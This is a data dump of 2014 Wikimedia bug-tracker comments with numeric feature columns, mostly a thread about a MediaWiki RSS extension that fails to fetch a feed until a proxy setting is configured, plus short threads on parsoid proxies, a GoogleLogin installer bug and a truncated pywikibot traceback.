319401,parsoid ignores http_proxy envvar,"A little more searching, I discover this isn't really parsoid's fault, but node.js's http library doesn't really support proxies like more mature programming environments.  http://geekswithblogs.net/shaunxu/archive/2013/09/05/semi-global-proxy-setting-for-node.js.aspx

/me sighs",,,1408987369,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5obeflpsep64vps6tmmj,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,4.5,0.8611111111111112,"A little more searching, I discover this isn't really parsoid's fault, but node.js's http library doesn't really support proxies like more mature programming environments.  URL

/me sighs"
71783,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**Author:** `jens.roebel`

**Description:**
This code:

<rss max=4 highlight=""community wiki foundation"">http://blog.wikimedia.org/feed/</rss>

Gives this result:

Failed to load RSS feed from http://blog.wikimedia.org/feed/: HTTP-forespørgslen fejlede af ukendte årsager. 

Any ideas?

Thanks 
Jens Roebel

--------------------------
**Version**: REL1_23-branch
**Severity**: normal
**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1408542240,1408619331.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_description,declined,True,c3,1,False,False,True,-46,True,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.8433734939759034,0.5903614457831325,"**Author:** CODE

**Description:**
This code:

<rss max=4 highlight=""community wiki foundation"">URL

Gives this result:

Failed to load RSS feed from URL HTTP-forespørgslen fejlede af ukendte årsager. 

Any ideas?

Thanks 
Jens Roebel

--------------------------
**Version**: REL1_23-branch
**Severity**: normal
**Whiteboard**: aklapper-moreinfo"
310532,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"Jens, better always read the documentation first, please.
I invested a lot to document all my extensions in the best possible way.

Nice to learn that your problem is fixed.

Just as a remark:

In certain installations (like in my own), it might be necessary to use a proxy when fetching RSS feeds from locations outside an enterprise internet, wherease you must not use a proxy when fetching RSS feeds from Urls inside the intranet. 

For such cases, a ""switch"" muss be toggled, see how in the code !

https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FRSS/26b9a910ecafd461097932fd044028655350d389/RSSParser.php#L239

// Example for disabling proxy use for certain urls
// $noProxy = preg_match( '!\.internal\.example\.com$!i', parse_url( $url, PHP_URL_HOST ) );",,,1408691401,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0.5,0.0,0.0,1.0,0.5,4.5,0.5,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,1.5,0.0,4.5,9.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,1.5,1.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.5,13.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,6.0,1.5,7.0,2.5,0.0,6.5,0.0,0.0,1.5,0.0,4.0,1.0,0.0,0.0,3.0,9.0,5.0,0.0,3.0,0.0,3.0,0.0,2.0,3.5,0.0,2.0,0.5,0.5,0.5,3.880281690140845,0.7816901408450705,"Jens, better always read the documentation first, please.
I invested a lot to document all my extensions in the best possible way.

Nice to learn that your problem is fixed.

Just as a remark:

In certain installations (like in my own), it might be necessary to use a proxy when fetching RSS feeds from locations outside an enterprise internet, wherease you must not use a proxy when fetching RSS feeds from Urls inside the intranet. 

For such cases, a ""switch"" muss be toggled, see how in the code !

URL

// Example for disabling proxy use for certain urls
// $noProxy = preg_match( '!\.internal\.example\.com$!i', parse_url( $url, PHP_URL_HOST ) );"
310523,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:

That did it :-)

After specifying $wgRSSProxy with proxyservername and portnumber everthing works perfectly.

Thanks a lot.

Jens",,,1408690222,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.3125,0.78125,"**jens.roebel** wrote:

That did it :-)

After specifying $wgRSSProxy with proxyservername and portnumber everthing works perfectly.

Thanks a lot.

Jens"
310514,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"Please read the RSS Extension manual page http://www.mediawiki.org/wiki/Extension:RSS#Configuration_settings and quickly find 

$wgRSSProxy (default: false) Optional proxy server to be used for fetching feeds
false: no proxy used

See also file RSS.php.",,,1408652731,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.05,0.875,"Please read the RSS Extension manual page URL and quickly find 

$wgRSSProxy (default: false) Optional proxy server to be used for fetching feeds
false: no proxy used

See also file RSS.php."
310509,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"(In reply to Jens Røbel from comment #8)
> We use proxy server. Where can I specify name and port ?

See [[mw:manual:$wgHTTPProxy]]",,,1408641374,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.3333333333333335,0.9047619047619048,"(In reply to Jens Røbel from comment #8)
QUOTE

See [[mw:manual:$wgHTTPProxy]]"
310506,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"So this does not sound like something is wrong in the code of MediaWiki (a so-called ""bug""), but instead like a support request (how to change settings, questions how to do something, etc.). As bugzilla.wikimedia.org is only for specific bug reports and enhancement requests, I am closing this ticket as RESOLVED WORKSFORME.",,,1408619331,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-45,True,0.0,3.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,10.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,12.0,4.0,0.0,3.0,0.0,1.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,3.0,4.074626865671642,0.7611940298507462,"So this does not sound like something is wrong in the code of MediaWiki (a so-called ""bug""), but instead like a support request (how to change settings, questions how to do something, etc.). As bugzilla.wikimedia.org is only for specific bug reports and enhancement requests, I am closing this ticket as RESOLVED WORKSFORME."
310504,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:

We use proxy server. Where can I specify name and port ?",,,1408612267,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.238095238095238,0.8571428571428571,"**jens.roebel** wrote:

We use proxy server. Where can I specify name and port ?"
310500,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:

For test purpose I have the below settings
$wgRSSUrlWhitelist = array( ""*"" );",,,1408612052,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2962962962962963,0.8148148148148148,"**jens.roebel** wrote:

For test purpose I have the below settings
$wgRSSUrlWhitelist = array( ""*"" );"
310496,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"The blog recently moved from Wikimedia servers to Automattic ones, so if you had whitelisted the WMF servers, that might need updating?",,,1408611878,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,16.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.56,0.92,"The blog recently moved from Wikimedia servers to Automattic ones, so if you had whitelisted the WMF servers, that might need updating?"
310491,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"**jens.roebel** wrote:

Removing wfSuppressWarnings(); and wfRestoreWarnings();
gives the below warning

Warning fopen(http://blog.wikimedia.org/feed/): failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond in C:\Apache2.2\htdocs\wiki\includes\HttpFunctions.php on line 916

I have a suspicion that it may be related to limitations in the firewall setup on our network.

I will try the same on my private network.

The version of RSS extension is 2.25.0

Thanks 
Jens",,,1408611689,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,1.0,0.5,3.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,11.5,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,1.0,1.0,0.0,3.5,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,5.5,2.0,8.0,2.0,1.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.5,11.5,3.0,0.0,0.0,0.0,4.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,4.7407407407407405,0.7777777777777778,"**jens.roebel** wrote:

Removing wfSuppressWarnings(); and wfRestoreWarnings();
gives the below warning

Warning fopen(URL failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond in C:\Apache2.2\htdocs\wiki\includes\HttpFunctions.php on line 916

I have a suspicion that it may be related to limitations in the firewall setup on our network.

I will try the same on my private network.

The version of RSS extension is 2.25.0

Thanks 
Jens"
310488,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,Please use _latest_ RSS Version from the repo!,,,1408561102,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.5454545454545454,0.9090909090909091,Please use _latest_ RSS Version from the repo!
310482,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"On line 907 and 909 of includes/HttpFunctions.php there is a wfSuppressWarnings(); and a wfRestoreWarnings(); respectively. Removing both of those may cause a warning to be output (Assuming you have php warnings enabled), that may help you debug the situation.",,,1408556922,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,2.0,4.269230769230769,0.7692307692307693,"On line 907 and 909 of includes/HttpFunctions.php there is a wfSuppressWarnings(); and a wfRestoreWarnings(); respectively. Removing both of those may cause a warning to be output (Assuming you have php warnings enabled), that may help you debug the situation."
310476,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"I assume this is not on a Wikimedia wiki?

(Error in particular happens only when using php url_fopen to fetch urls (Not used on Wikimedia sites, since we have the curl php extension installed)).

This error generally means that fopen( 'http://blog.wikimedia.org/feed/' ); returned false. I'm not sure why it is doing so in your particular install. I suspect (but am not sure) its a problem with your php.ini configuration.",,,1408556753,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,1.0,0.0,5.0,0.0,10.0,9.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,10.0,5.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,9.0,5.0,1.0,1.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7701149425287355,0.735632183908046,"I assume this is not on a Wikimedia wiki?

(Error in particular happens only when using php url_fopen to fetch urls (Not used on Wikimedia sites, since we have the curl php extension installed)).

This error generally means that fopen( 'URL ); returned false. I'm not sure why it is doing so in your particular install. I suspect (but am not sure) its a problem with your php.ini configuration."
310471,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"(In reply to Jens Røbel from comment #0)
> Gives this result:
> 
> Failed to load RSS feed from http://blog.wikimedia.org/feed/:
> HTTP-forespørgslen fejlede af ukendte årsager. 

Where can this result be seen and how exactly to reproduce?

I pasted your one line via ""Show Preview"" on https://www.mediawiki.org/w/index.php?title=User:AKlapper_(WMF)/Bug69783 and results were as expected.",,,1408543746,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,4.0,14.0,12.0,2.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,0.803921568627451,"(In reply to Jens Røbel from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

Where can this result be seen and how exactly to reproduce?

I pasted your one line via ""Show Preview"" on URL and results were as expected."
71564,GoogleLogin breaks webinstaller (mw-config),"When GoogleLoign installed, wgAuth breaks the use of the webinstaller to update database schema.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1408046580,1409730696.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_description,resolved,True,c3,1,True,False,True,-46,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,0.7058823529411765,"When GoogleLoign installed, wgAuth breaks the use of the webinstaller to update database schema.

--------------------------
**Version**: master
**Severity**: normal"
312661,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:

Change 158060 merged by jenkins-bot:
Fix WebInstaller-Break

https://gerrit.wikimedia.org/r/158060",,,1409728017,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.7391304347826086,"**gerritadmin** wrote:

Change 158060 merged by jenkins-bot:
Fix WebInstaller-Break

GERRIT_URL"
312658,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:

Change 158060 had a related patch set uploaded by Florianschmidtwelzow:
Fix WebInstaller-Break

https://gerrit.wikimedia.org/r/158060",,,1409727956,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.576923076923077,0.8076923076923077,"**gerritadmin** wrote:

Change 158060 had a related patch set uploaded by Florianschmidtwelzow:
Fix WebInstaller-Break

GERRIT_URL"
312655,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:

Change 154134 merged by jenkins-bot:
Fix WebInstaller-Break

https://gerrit.wikimedia.org/r/154134",,,1408302731,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.7391304347826086,"**gerritadmin** wrote:

Change 154134 merged by jenkins-bot:
Fix WebInstaller-Break

GERRIT_URL"
312653,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:

Change 154134 had a related patch set uploaded by Florianschmidtwelzow:
Fix WebInstaller-Break

https://gerrit.wikimedia.org/r/154134",,,1408048725,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.576923076923077,0.8076923076923077,"**gerritadmin** wrote:

Change 154134 had a related patch set uploaded by Florianschmidtwelzow:
Fix WebInstaller-Break

GERRIT_URL"
312650,GoogleLogin breaks webinstaller (mw-config),Comes from: https://www.mediawiki.org/wiki/Thread:Extension_talk:GoogleLogin/Breaks_mw-config,,,1408046627,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Comes from: URL
71354,Login with unicode username fails,"This is probably due to recent changes in the user agent string.

File ""core/pywikibot/data/api.py"", line 337, in submit	body=paramstring)
	File ""core/pywikibot/comms/http.py"", line 164, in request
	username=quote(username),
